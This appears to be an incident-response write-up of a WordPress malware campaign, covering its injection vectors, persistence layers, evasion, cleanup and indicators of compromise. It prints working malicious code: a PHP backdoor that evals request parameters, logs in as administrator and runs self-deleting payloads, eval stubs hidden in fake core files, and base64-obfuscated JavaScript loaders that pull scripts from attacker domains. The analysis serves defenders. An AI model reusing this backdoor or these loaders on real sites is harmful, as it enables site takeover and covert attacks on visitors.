Dissecting a Sophisticated WordPress Malware Campaign: Multi-Layer Persistence and Advanced Evasion Techniques
Dissecting a Sophisticated WordPress Malware Campaign: Multi-Layer Persistence and Advanced Evasion Techniques
A comprehensive analysis of a professional-grade WordPress compromise featuring multiple persistence mechanisms, brand impersonation, and sophisticated evasion tactics.
Executive Summary
During a recent security incident response, I encountered one of the most sophisticated WordPress malware campaigns I’ve analyzed to date. This threat demonstrated advanced persistence mechanisms, clever evasion techniques, and a level of operational security typically associated with professional threat actors.
The malware employed at least four distinct persistence mechanisms, used brand impersonation to avoid detection, and deployed self-cleaning backdoors that could execute arbitrary code while leaving minimal forensic traces. This post provides a detailed technical breakdown of the campaign and the remediation process.
Initial Detection
The investigation began with a client reporting suspicious script loading in their browser’s developer tools. The malicious scripts were originating from several suspicious domains:
pubcoderace [.] comwpengine-cdn [.] com(brand impersonation)lifepader [.] comcaribbean [.] live
What immediately stood out was the use of wpengine-cdn [.] com – a clever typosquat of WP Engine’s legitimate infrastructure designed to blend in with normal hosting provider traffic.
Attack Vector Analysis
1. Visual Composer Shortcode Injection
The initial infection vector leveraged WordPress Visual Composer’s shortcode functionality, which renders arbitrary HTML without sanitization. Multiple base64-encoded payloads were discovered in the vc_raw_html shortcode format:
Base64 Payload:
JTNDc2NyaXB0JTIwc3JjJTNEJTIyaHR0cHMlM0ElMkY...ZSUzRCUyMnRleHQlMkZqYXZhc2NyaXB0JTIyJTIwY2hhcnNldCUzRCUyMlVURi04JTIyJTNFJTNDJTJGc2NyaXB0JTNF
When decoded, this reveals:
<script src="https://pubcoderace [.] com/e/base64/L3ZpZXcuanMvc2lkPTkzODg0MA==" async type="text/javascript" charset="UTF-8"></script>
The embedded path contains another base64 string that decodes to /view.js/sid=938840, suggesting session tracking for infected sites.
2. Dynamic Command & Control Server
A more sophisticated payload was discovered using a two-stage loading mechanism:
fetch(atob('aHR0cHM6Ly9jYXJpYmVhbi5saXZl'), {method: 'POST'})
.then(r => r.blob())
.then(d => d.text()
.then(b => {
const s = document.createElement('script');
s.src = atob(b);
s.async = true;
document.head.appendChild(s);
}));
This approach allows attackers to dynamically serve different payload URLs without modifying the infected site, making detection and blocking more difficult.
Multi-Layer Persistence Mechanisms
What made this campaign particularly sophisticated was its use of multiple, redundant persistence mechanisms:
Layer 1: Database Option Storage
The malware stored its payload in the WordPress options table:
SELECT option_value FROM wp_options WHERE option_name = 'global_wordpress_setting';
This contained a base64-encoded PHP backdoor:
if(!empty($_REQUEST['el_command'])){
$command = $_REQUEST['el_command'];
$command = stripslashes(urldecode($command));
eval($command);
exit;
}
if(!empty($_REQUEST['el_auth'])){
$el_admins = get_users([ 'role' => 'administrator', 'orderby' => 'ID', 'order' => 'ASC', 'number' => 1 ]);
$el_user = $el_admins[0] ?? null;
if ($el_user) {
wp_set_auth_cookie($el_user->ID, true);
wp_redirect(admin_url());
exit;
}
}
if (!empty($_REQUEST['el_payload'])) {
$payload = stripslashes(urldecode($_REQUEST['el_payload']));
$file_name = "el_" . time() . ".php";
$path = ABSPATH . "/$file_name";
file_put_contents($path, $payload);
register_shutdown_function(function() use ($path) {
if (file_exists($path)) unlink($path);
});
include $path;
exit;
}
This backdoor provided three distinct capabilities:
- Remote Code Execution via
?el_command= - Privilege Escalation via
?el_auth=1(instant admin login) - Temporary File Execution via
?el_payload=(self-deleting payloads)
Layer 2: Fake WordPress Core File
The attackers created a 2,500+ line file at /wp-content/themes/theme.php that mimicked WordPress’s legitimate WP_Theme_JSON class. Hidden at line 2526 within the get_setting_nodes() method was:
public static function get_setting_nodes( $theme_json, $selectors = array() ) {
require_once $_SERVER['DOCUMENT_ROOT']."/wp-load.php";
eval(base64_decode(get_option('global_wordpress_setting')));
}
This represented an extraordinary level of effort to create a convincing decoy file that would pass casual inspection while harboring malicious code.
Layer 3: Fake Cache File
A second fake WordPress file was placed at /wp-content/wp-cache.php, masquerading as a WooCommerce cache handler:
/**
* REST API Reports Cache.
* Handles report data object caching.
*/
namespace Automattic\WooCommerce\Admin\API\Reports;
class WP_Cache_Delivery {
public static function get( $key ) {
require_once $_SERVER['DOCUMENT_ROOT']."/wp-load.php";
eval(base64_decode(get_option('global_wordpress_setting')));
// [legitimate-looking cache code continues...]
}
}
Layer 4: Theme Functions Injection
The final persistence mechanism was embedded within the child theme’s functions.php file:
/*
* Payment key verification woocommerce plugin
*/
function woocommerce_payment_key() {
?>
<script type="text/javascript" id="Y2tvd">
!function(){let e=document.createElement("script");e.id="t56!",e.type="text/javascript",e.async=!0,e.src=atob("aHR0cHM6Ly93d3cubGlmZXBhZGVyLmNvbS9qcy9idW5kbGUuanM="),document.getElementsByTagName("head")[0].appendChild(e),document.getElementById("t56!").remove();document.getElementById("Y2tvd").remove()}();
</script>
<?php
}
add_action('wp_head', 'woocommerce_payment_key');
The base64 string decodes to hxxps://www.lifepader [.] com/js/bundle.js, and the function name cleverly suggests legitimate WooCommerce functionality.
Layer 5: WP Rocket Integration
The malware also added itself to WP Rocket’s preconnect domains list, ensuring browsers would establish early connections to the malicious infrastructure:
SELECT domains FROM wp_wpr_preconnect_external_domains
WHERE domains LIKE '%wpengine-cdn.com%';
This returned entries like:
["hxxps://fonts.googleapis [.] com","hxxps://www.google-analytics [.] com","hxxps://wpengine-cdn [.] com","hxxps://analytics.fbpixel [.] net"]
Brand Impersonation and Evasion Techniques
Several sophisticated evasion techniques were employed:
1. Hosting Brand Impersonation
The use of wpengine-cdn [.] com was particularly clever, as it would appear legitimate to administrators familiar with WP Engine hosting. The real WP Engine CDN domains are:
*.wpengine [.] com*.wpenginepowered [.] com*.wpestorage [.] net
2. Double Base64 Encoding
Multiple layers of base64 encoding were used to evade signature detection:
3. Dynamic Script Generation
JavaScript payloads dynamically created and removed DOM elements to avoid static analysis:
let e=document.createElement("script");
// [set properties]
document.getElementsByTagName("head")[0].appendChild(e);
document.getElementById("t56!").remove();
document.getElementById("Y2tvd").remove();
4. Self-Cleaning Mechanisms
The PHP backdoor included automatic cleanup via register_shutdown_function(), ensuring temporary files were removed after execution to minimize forensic traces.
Threat Intelligence Correlation
Investigation revealed that several domains were already flagged by security vendors:
- AlienVault OTX: Had entries for
pubcoderace.com - VirusTotal: Flagged the domain as malicious
- Public Blacklists: Some infrastructure was known to security researchers
However, the wpengine-cdn [.] com domain was not yet widely blacklisted, suggesting it was either newly registered or successfully flying under the radar.
Remediation Process
The cleanup required a systematic approach to address all persistence layers:
1. Database Cleanup
-- Remove the primary payload
DELETE FROM wp_options WHERE option_name = 'global_wordpress_setting';
-- Clean Visual Composer injections
DELETE FROM wp_posts WHERE post_content LIKE '%pubcoderace%'
OR post_content LIKE '%caribbean [.] live%'
OR post_content LIKE '%wpengine-cdn%';
-- Remove from WP Rocket preconnect
UPDATE wp_wpr_preconnect_external_domains
SET domains = REPLACE(domains, ',"hxxps:\\/\\/wpengine-cdn [.] com"', '')
WHERE domains LIKE '%wpengine-cdn.com%';
2. File System Cleanup
# Remove fake WordPress files
rm /wp-content/themes/theme.php
rm /wp-content/wp-cache.php
# Edit child theme functions.php to remove malicious function
# [Manual removal of woocommerce_payment_key() function]
# Clear all caches
rm -rf /wp-content/cache/wp-rocket/*
3. Verification
After remediation, we verified cleanup by:
- Monitoring browser developer tools for external script loading
- Searching file system for remaining backdoors
- Confirming all malicious database entries were removed
- Testing that the malicious domains were no longer being contacted
Lessons Learned and Recommendations
For WordPress Administrators
- Plugin Security: Regularly audit plugins that allow raw HTML/JavaScript insertion (Visual Composer, Custom HTML widgets, etc.)
- File Integrity Monitoring: Implement monitoring for unauthorized PHP files in
/wp-content/root directory - Database Monitoring: Monitor the
wp_optionstable for suspicious entries, especially those with base64 content - Preconnect Auditing: Regularly review WP Rocket and other performance plugin settings for unknown domains
- Theme Security: Audit child theme
functions.phpfor suspicious additions, especially those with generic names
For Security Professionals
- Multi-Layer Defense: This campaign demonstrates why single-point remediation fails against sophisticated threats
- Brand Impersonation: Monitor for typosquats of hosting/CDN providers that could be used to blend malicious traffic
- Behavioral Analysis: Focus on dynamic behaviors rather than just static signatures
- Persistence Hunting: Assume multiple persistence mechanisms and conduct thorough hunting after initial discovery
IOCs (Indicators of Compromise)
Domains
pubcoderace [.] comwpengine-cdn [.] comlifepader [.] comcaribbean [.] liveanalytics.fbpixel [.] net(suspicious Facebook pixel impersonation)
File Paths
/wp-content/themes/theme.php/wp-content/wp-cache.php- Files matching pattern
el_[timestamp].phpin document root
Database Indicators
- Option name:
global_wordpress_setting - POST content containing Visual Composer shortcodes with base64 payloads
- Preconnect domains entries for suspicious CDNs
Network Indicators
- HTTP requests to malicious domains with session ID parameters
- POST requests with parameters:
el_command,el_auth,el_payload
Conclusion
This malware campaign represents a sophisticated, multi-layered approach to WordPress compromise that goes well beyond typical opportunistic attacks. The combination of brand impersonation, multiple persistence mechanisms, self-cleaning capabilities, and extensive evasion techniques suggests a professional operation.
The campaign’s success likely depends on:
- Volume: Infecting many sites to justify the development effort
- Persistence: Multiple layers ensure survival of partial cleanup attempts
- Stealth: Brand impersonation and legitimate-looking code reduce detection likelihood
- Adaptability: Dynamic payload serving allows real-time campaign adjustments
This analysis reinforces the importance of defense-in-depth strategies and the need for comprehensive incident response procedures that assume sophisticated, multi-vector attacks rather than simple, single-point compromises.